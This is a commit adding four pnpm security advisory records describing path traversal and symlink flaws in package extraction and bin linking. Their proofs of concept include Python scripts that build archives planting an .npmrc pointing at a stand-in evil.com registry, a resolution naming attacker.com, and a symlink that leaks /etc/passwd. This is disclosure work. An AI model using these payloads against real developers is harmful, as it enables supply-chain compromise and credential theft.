Skip to content

Commit 21d8edf

Browse files
1 parent 09c9afb commit 21d8edf

4 files changed

Lines changed: 263 additions & 0 deletions

File tree

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6pfh-p556-v868",
4+
"modified": "2026-01-26T21:02:49Z",
5+
"published": "2026-01-26T21:02:49Z",
6+
"aliases": [
7+
"CVE-2026-23888"
8+
],
9+
"summary": "pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)",
10+
"details": "### Summary\n\nA path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing `../` or absolute paths that escape the extraction root via AdmZip's `extractAllTo`, and (2) The `BinaryResolution.prefix` field is concatenated into the extraction path without validation, allowing a crafted prefix like `../../evil` to redirect extracted files outside `targetDir`.\n\n### Details\n\nThe vulnerability exists in the binary fetching and extraction logic:\n\n**1. Unvalidated ZIP Entry Extraction (`fetching/binary-fetcher/src/index.ts`)**\n\nAdmZip's `extractAllTo` does not validate entry paths for path traversal:\n\n```typescript\nconst zip = new AdmZip(buffer)\nconst nodeDir = basename === '' ? targetDir : path.dirname(targetDir)\nconst extractedDir = path.join(nodeDir, basename)\nzip.extractAllTo(nodeDir, true) // Entry paths not validated!\nawait renameOverwrite(extractedDir, targetDir)\n```\n\nA ZIP entry with path `../../../.npmrc` will be written outside `nodeDir`.\n\n**2. Unvalidated Prefix in BinaryResolution (`resolving/resolver-base/src/index.ts`)**\n\nThe `basename` variable comes from `BinaryResolution.prefix` and is used directly in path construction:\n\n```typescript\nconst extractedDir = path.join(nodeDir, basename)\n// If basename is '../../evil', this points outside nodeDir\n```\n\n### PoC\n\n**Attack Vector 1: ZIP Entry Path Traversal**\n\n```python\nimport zipfile\nimport io\n\nzip_buffer = io.BytesIO()\nwith zipfile.ZipFile(zip_buffer, 'w') as zf:\n # Normal file\n zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\\necho \"legit node\"')\n # Malicious path traversal entry\n zf.writestr('../../../.npmrc', b'registry=https://evil.com/\\n')\n\nwith open('malicious-node.zip', 'wb') as f:\n f.write(zip_buffer.getvalue())\n```\n\n**Attack Vector 2: Prefix Traversal via malicious resolution:**\n\n```json\n{\n \"resolution\": {\n \"type\": \"binary\",\n \"url\": \"https://attacker.com/node.zip\",\n \"prefix\": \"../../PWNED\"\n }\n}\n```\n\n### Impact\n\n- All pnpm users who install packages with binary assets\n- Users who configure custom Node.js binary locations\n- CI/CD pipelines that auto-install binary dependencies\n- Can overwrite config files, scripts, or other sensitive files leading to RCE\n\nVerified on pnpm main @ commit `5a0ed1d45`.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "pnpm"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "11.0.0-alpha.3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/pnpm/pnpm"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-22",
59+
"CWE-23",
60+
"CWE-426"
61+
],
62+
"severity": "MODERATE",
63+
"github_reviewed": true,
64+
"github_reviewed_at": "2026-01-26T21:02:49Z",
65+
"nvd_published_at": null
66+
}
67+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6x96-7vc8-cm3p",
4+
"modified": "2026-01-26T21:02:45Z",
5+
"published": "2026-01-26T21:02:44Z",
6+
"aliases": [
7+
"CVE-2026-23889"
8+
],
9+
"summary": "pnpm has Windows-specific tarball Path Traversal",
10+
"details": "### Summary\nA path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal.\n\n**This vulnerability is Windows-only.**\n\n### Details\n**1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)**\n\n```typescript\nif (fileName.includes('./')) {\n fileName = path.posix.join('/', fileName).slice(1)\n}\n```\n\nA path like `foo\\..\\..\\.npmrc` does NOT contain `./` and bypasses this check.\n\n**2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)**\n\n- On Unix: Backslashes are literal filename characters (safe)\n- On Windows: Backslashes are directory separators (exploitable)\n\n### PoC\n1. Create a malicious tarball with entry `package/foo\\..\\..\\.npmrc`\n2. Host it or use as a tarball URL dependency\n3. On Windows: `pnpm install`\n4. Observe `.npmrc` written outside package directory\n\n```python\nimport tarfile, io\n\ntar_buffer = io.BytesIO()\nwith tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:\n pkg_json = b'{\"name\": \"malicious-pkg\", \"version\": \"1.0.0\"}'\n pkg_info = tarfile.TarInfo(name='package/package.json')\n pkg_info.size = len(pkg_json)\n tar.addfile(pkg_info, io.BytesIO(pkg_json))\n\n malicious_content = b'registry=https://evil.com/\\n'\n mal_info = tarfile.TarInfo(name='package/foo\\\\..\\\\..\\\\.npmrc')\n mal_info.size = len(malicious_content)\n tar.addfile(mal_info, io.BytesIO(malicious_content))\n\nwith open('malicious-pkg-1.0.0.tgz', 'wb') as f:\n f.write(tar_buffer.getvalue())\n```\n\n### Impact\n- Windows pnpm users\n- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)\n- Can overwrite `.npmrc`, build configs, or other files\n\nVerified on pnpm main @ commit 5a0ed1d45.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "pnpm"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "10.28.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/pnpm/pnpm"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-22"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-01-26T21:02:44Z",
63+
"nvd_published_at": null
64+
}
65+
}
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-m733-5w8f-5ggw",
4+
"modified": "2026-01-26T21:02:33Z",
5+
"published": "2026-01-26T21:02:33Z",
6+
"aliases": [
7+
"CVE-2026-24056"
8+
],
9+
"summary": "pnpm has symlink traversal in file:/git dependencies",
10+
"details": "### Summary\nWhen pnpm installs a `file:` (directory) or `git:` dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., `/etc/passwd`, `~/.ssh/id_rsa`) causes pnpm to copy that file's contents into `node_modules`, leaking local data.\n\n**Preconditions:** Only affects `file:` and `git:` dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.\n\n### Details\nThe vulnerability exists in `store/cafs/src/addFilesFromDir.ts`. The code uses `fs.statSync()` and `readFileSync()` which follow symlinks by default:\n\n```typescript\nconst absolutePath = path.join(dirname, relativePath)\nconst stat = fs.statSync(absolutePath) // Follows symlinks!\nconst buffer = fs.readFileSync(absolutePath) // Reads symlink TARGET\n```\n\nThere is no check that `absolutePath` resolves to a location inside the package directory.\n\n### PoC\n```bash\n# Create malicious package\nmkdir -p /tmp/evil && cd /tmp/evil\nln -s /etc/passwd leaked-passwd.txt\necho '{\"name\":\"evil\",\"version\":\"1.0.0\",\"files\":[\"*.txt\"]}' > package.json\n\n# Victim installs\nmkdir /tmp/victim && cd /tmp/victim\npnpm init && pnpm add file:../evil\n\n# Leaked!\ncat node_modules/evil/leaked-passwd.txt\n```\n\n### Impact\n- Developers installing local/file dependencies\n- CI/CD pipelines installing git dependencies\n- Credential theft via symlinks to `~/.aws/credentials`, `~/.npmrc`, `~/.ssh/id_rsa`\n\n### Suggested Fix\nUse `lstatSync` to detect symlinks and reject those pointing outside the package root in `store/cafs/src/addFilesFromDir.ts`.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "pnpm"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "10.28.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-m733-5w8f-5ggw"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/pnpm/pnpm/commit/b277b45bc35ae77ca72d7634d144bbd58a48b70f"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/pnpm/pnpm"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.2"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-22",
59+
"CWE-59"
60+
],
61+
"severity": "MODERATE",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2026-01-26T21:02:33Z",
64+
"nvd_published_at": null
65+
}
66+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-xpqm-wm3m-f34h",
4+
"modified": "2026-01-26T21:02:39Z",
5+
"published": "2026-01-26T21:02:39Z",
6+
"aliases": [
7+
"CVE-2026-23890"
8+
],
9+
"summary": "pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin",
10+
"details": "### Summary\nA path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of `node_modules/.bin`. Bin names starting with `@` bypass validation, and after scope normalization, path traversal sequences like `../../` remain intact.\n\n### Details\nThe vulnerability exists in the bin name validation and normalization logic:\n\n**1. Validation Bypass (`pkg-manager/package-bins/src/index.ts`)**\n\nThe filter allows any bin name starting with `@` to pass through without validation:\n\n```typescript\n.filter((commandName) =>\n encodeURIComponent(commandName) === commandName ||\n commandName === '' ||\n commandName[0] === '@' // <-- Bypasses validation\n)\n```\n\n**2. Incomplete Normalization (`pkg-manager/package-bins/src/index.ts`)**\n\n```typescript\nfunction normalizeBinName (name: string): string {\n return name[0] === '@' ? name.slice(name.indexOf('/') + 1) : name\n}\n// Input: @scope/../../evil\n// Output: ../../evil <-- Path traversal preserved!\n```\n\n**3. Exploitation (`pkg-manager/link-bins/src/index.ts:288`)**\n\nThe normalized name is used directly in `path.join()` without validation.\n\n### PoC\n1. Create a malicious package:\n```json\n{\n \"name\": \"malicious-pkg\",\n \"version\": \"1.0.0\",\n \"bin\": {\n \"@scope/../../.npmrc\": \"./malicious.js\"\n }\n}\n```\n\n2. Install the package:\n```bash\npnpm add /path/to/malicious-pkg\n```\n\n3. Observe `.npmrc` created in project root (outside node_modules/.bin).\n\n### Impact\n- All pnpm users who install npm packages\n- CI/CD pipelines using pnpm\n- Can overwrite config files, scripts, or other sensitive files\n\nVerified on pnpm main @ commit 5a0ed1d45.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "pnpm"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "10.28.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-xpqm-wm3m-f34h"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/pnpm/pnpm/commit/8afbb1598445d37985d91fda18abb4795ae5062d"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/pnpm/pnpm"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-23"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-01-26T21:02:39Z",
63+
"nvd_published_at": null
64+
}
65+
}

0 commit comments

Comments
 (0)